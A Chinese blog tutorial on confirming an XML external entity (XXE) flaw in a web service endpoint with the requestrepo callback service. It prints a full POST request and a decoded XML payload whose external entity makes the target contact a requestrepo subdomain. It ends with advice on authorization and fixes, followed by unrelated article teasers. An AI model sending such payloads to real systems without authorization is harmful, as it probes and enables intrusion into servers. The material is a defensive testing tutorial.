利用 requestrepo 工具验证 XML外部实体注入漏洞

1. 前言

在数字化浪潮席卷的当下,网络安全的重要性愈发凸显。应用程序在便捷生活与工作的同时,也可能暗藏安全风险。XXE(XML外部实体)漏洞作为其中的典型代表,攻击者一旦利用它,便能窃取敏感信息、掌控服务器,对系统安全构成严重威胁。因此,精准验证和修复XXE漏洞成为保障网络安全的关键任务。requestrepo工具凭借其独特优势,为XXE漏洞验证提供了得力支持,下面将深入探讨其在漏洞验证中的具体应用。

2. requestrepo工具介绍

requestrepo是一款专注于网络请求分析的在线工具,网址为requestrepo.com。它能全方位记录并展示HTTP与DNS请求的详细信息,在网络安全领域有着广泛的应用场景。

  • 强大的记录功能:无论是常见的HTTP请求类型,如GET、POST,还是DNS请求,该工具都能详尽记录请求类型、主机名、发送者IP以及请求时间等关键信息。这些记录为安全测试人员深入分析网络请求提供了丰富的数据基础。
  • 直观的操作界面:其界面设计简洁直观,方便使用者快速浏览和分析请求数据。在验证XXE漏洞等工作中,测试人员能够迅速定位与漏洞相关的请求,极大地提升了工作效率。
  • 广泛的适用范围:除用于XXE漏洞验证外,在网络故障排查方面,可通过分析请求和响应信息找出问题根源;在安全审计中,能有效检测异常流量和潜在的恶意请求,助力保障网络安全。

3. 利用requestrepo工具验证XXE漏洞实例

以某企业业务系统为例,其中“动销修改”功能模块的API接口访问URL为https://testexample.com:8080/Web/Service/PublicService.asmx/Agent_Common_AOSSalesModify 。经初步分析,该模块存在允许引用外部实体并解析的情况,疑似存在XXE漏洞。

获取一个随机URL

打开https://requestrepo.com/网站。 刷新,可以获得一个URL。
在这里插入图片描述
复制URL用于构造请求数据包

构造请求数据包

测试人员打开功能模块的API接口主页,在实际接口调用报文的基础上,构造了如下POST请求数据包:

POST  /Web/Service/PublicService.asmx/Agent_Common_AOSSalesModify HTTP/2 
Host: testexample.com:8080 
Cookie: somecookie1=value1; somecookie2=value2
//省略部分常规请求头信息,如Accept、Sec - Fetch等
sig_in=111&salesModify_In_Xml=%3C?xml%20version=%221.0%22%20encoding=%22UTF-8%22?%3E%0A%3C!DOCTYPE%20note%5B%20%0A%3C!ENTITY%20%25%20lltest%20SYSTEM%20%22https://ugn3qvft.requestrepo.com/%22%3E%0A%25lltest;%0A%5D%3E

这里salesModify_In_Xml参数的值经过了URL编码,解码后内容为:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "https://ugn3qvft.requestrepo.com/">
%lltest;
]>

此内容包含精心构造的对外部实体的引用,用于触发可能存在的XXE漏洞。

借助requestrepo工具

访问requestrepo.com,创建新的监测会话,获取监测域名testmonitor.example.com ,并将其引入上述构造的XML数据中。

发送请求并分析结果

将完整的请求数据包发送至目标URL后,在requestrepo工具界面查看捕获到的请求记录。
在这里插入图片描述

实际测试中,工具成功记录到与testmonitor.example.com相关的DNS请求和HTTP请求,这表明目标系统在处理请求时,尝试访问了外部实体引用地址,从而验证了XXE漏洞的存在。

4. 总结

requestrepo工具在验证XXE漏洞时展现出显著优势。它能精准记录与外部实体引用相关的网络请求,为安全测试人员提供直观且关键的证据,有效提升漏洞验证的效率与准确性。不过,在使用工具进行漏洞验证时,必须严格遵循法律法规和道德规范,确保在获得合法授权的前提下开展操作。对于企业而言,发现XXE漏洞后,应立即采取有效修复措施,如禁止引用外部实体、严格过滤XML数据等,以加固系统安全防线,抵御潜在安全风险,保障业务的稳定运行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/71581.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FreeRTOS第17篇:FreeRTOS链表实现细节05_MiniListItem_t:FreeRTOS内存优化

文/指尖动听知识库-星愿 文章为付费内容,商业行为,禁止私自转载及抄袭,违者必究!!! 文章专栏:深入FreeRTOS内核:从原理到实战的嵌入式开发指南 1 为什么需要迷你列表项? 在嵌入式系统中,内存资源极其宝贵。FreeRTOS为满足不同场景需求,设计了标准列表项(ListItem_…

Spring 无法解决循环依赖的 5 种场景

一、构造器注入引发的循环依赖 1. 问题复现 Component public class ServiceA {private final ServiceB serviceB;Autowiredpublic ServiceA(ServiceB serviceB) { // 构造器注入this.serviceB serviceB;} }Component public class ServiceB {private final ServiceA servic…

Core Vision Kit(基础视觉服务)

文章目录 一、Core Vision Kit简介场景介绍约束与限制二、通用文字识别三、人脸检测一、Core Vision Kit简介 Core Vision Kit(基础视觉服务)是机器视觉相关的基础能力,例如通用文字识别(即OCR,Optical Character Recognition,也称为光学字符识别)、人脸检测、人脸比对…

第TR3周:Pytorch复现Transformer

&#x1f368; 本文为&#x1f517;365天深度学习训练营中的学习记录博客 &#x1f356; 原作者&#xff1a;K同学啊 Transformer通过自注意力机制&#xff0c;改变了序列建模的方式&#xff0c;成为AI领域的基础架构 编码器&#xff1a;理解输入&#xff0c;提取上下文特征…

FreeRTOS 任务间通信机制:队列、信号量、事件标志组详解与实验

1. FreeRTOS 消息队列 1.1 简介 ​ 队列是 任务间通信的主要形式&#xff0c;可用于在任务之间以及中断与任务之间传递消息。队列在 FreeRTOS 中具有以下关键特点&#xff1a; 队列默认采用 先进先出 FIFO 方式&#xff0c;也可以使用 xQueueSendToFront()实现 LIFO。FreeRT…

【虚拟化】Docker Desktop 架构简介

在阅读前您需要了解 docker 架构&#xff1a;Docker architecture WSL 技术&#xff1a;什么是 WSL 2 1.Hyper-V backend 我们知道&#xff0c;Docker Desktop 最开始的架构的后端是采用的 Hyper-V。 Docker daemon (dockerd) 运行在一个 Linux distro (LinuxKit build) 中&…

Unity光照之Halo组件

简介 Halo 组件 是一种用于在游戏中创建光晕效果的工具&#xff0c;主要用于模拟光源周围的发光区域&#xff08;如太阳、灯泡等&#xff09;或物体表面的光线反射扩散效果。 核心功能 1.光晕生成 Halo 组件会在光源或物体的周围生成一个圆形光晕&#xff0c;模拟光线在空气…

Flink深入浅出之01:应用场景、基本架构、部署模式

Flink 1️⃣ 一 、知识要点 &#x1f4d6; 1. Flink简介 Apache Flink — Stateful Computations over Data StreamsApache Flink 是一个分布式大数据处理引擎&#xff0c;可对有界数据流和无界数据流进行有状态的计算。Flink 能在所有常见集群环境中运行&#xff0c;并能以…

2025年【高压电工】报名考试及高压电工考试总结

随着电力行业的快速发展&#xff0c;高压电工成为确保电力系统安全稳定运行的重要一环。为了提高高压电工的专业技能和安全意识&#xff0c;“安全生产模拟考试一点通”平台特别整理了2025年高压电工报名考试的相关信息及考试总结&#xff0c;并提供了一套完整的题库&#xff0…

网络HTTP

HTTP Network Request Library A Retrofit-based HTTP network request encapsulation library that provides simple and easy-to-use API interfaces with complete network request functionality. 基于Retrofit的HTTP网络请求封装库&#xff0c;提供简单易用的API接口和完…

os-copilot安装和使用体验测评

简介&#xff1a; OS Copilot是阿里云基于大模型构建的Linux系统智能助手&#xff0c;支持自然语言问答、命令执行和系统运维调优。本文介绍其产品优势、功能及使用方法&#xff0c;并分享个人开发者在云服务器资源管理中的实际应用体验。通过-t/-f/管道功能&#xff0c;OS Cop…

Python Flask框架学习汇编

1、入门级&#xff1a; 《Python Flask Web 框架入门》 这篇博文条理清晰&#xff0c;由简入繁&#xff0c;案例丰富&#xff0c;分十五节详细讲解了Flask框架&#xff0c;强烈推荐&#xff01; 《python的简单web框架flask【附例子】》 讲解的特别清楚&#xff0c;每一步都…

【HarmonyOS Next之旅】DevEco Studio使用指南(一)

目录 1 -> 工具简介 1.1 -> 概述 1.2 -> HarmonyOS应用/服务开发流程 1.2.1 -> 开发准备 1.2.2 -> 开发应用/服务 1.2.3 -> 运行、调试和测试应用/服务 1.2.4 -> 发布应用/服务 2 -> 工程介绍 2.1 -> APP包结构 2.2 -> 切换工程视图 …

Manus开源平替-开源通用智能体

原文链接:https://i68.ltd/notes/posts/250306-opensource-agi-agent/ OWL-比Manus还强的全能开源Agent OWL: Optimized Workforce Learning for General Multi-Agent Assistance in Real-World Task Automation&#xff0c;现实世界中执行自动化任务的通用多代理辅助优化学习…

【3.2-3.8学习周报】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 摘要Abstract一、方法介绍1.任务适应性持续预训练&#xff08;TACP&#xff09;2.领域自适应连续预训练&#xff08;DACP&#xff09;3.ETS-DACP和ETA-DACP 二、实验…

【Linux】用户和组

思考 使用useradd在Linux下面创建一个用户&#xff0c;默认情况下&#xff0c;会自动创建一个同名组&#xff0c;并且加入其中&#xff0c;那么是先创建用户呢&#xff1f;还是先创建组呢&#xff1f; 很简单&#xff0c;我们实践一下不就知道了&#xff0c;如下所示&#xff…

新编大学应用英语综合教程2 U校园全套参考答案

全套答案获取&#xff1a; 链接&#xff1a;https://pan.quark.cn/s/389618f53143

SAP 顾问的五年职业规划

SAP 顾问的职业发展受到技术进步、企业需求变化和全球经济环境的影响&#xff0c;因此制定长远规划充满挑战。面对 SAP 产品路线图的不确定性&#xff0c;如向 S/4HANA 和 Business Technology Platform (BTP) 的转变&#xff0c;顾问必须具备灵活性&#xff0c;以保持竞争力和…

图像生成-ICCV2019-SinGAN: Learning a Generative Model from a Single Natural Image

图像生成-ICCV2019-SinGAN: Learning a Generative Model from a Single Natural Image 文章目录 图像生成-ICCV2019-SinGAN: Learning a Generative Model from a Single Natural Image主要创新点模型架构图生成器生成器源码 判别器判别器源码 损失函数需要源码讲解的私信我 S…

Networking Based ISAC Hardware Testbed and Performance Evaluation

文章目录 Applications and Challenges of Networked SensingCooperation Mechanism in Networked SensingChallenges and Key Enabling Technologies 5G NR Frame Structure Based ISAC ApproachSignals Available for Radio SensingMulti-Dimensiona Resource Optimization S…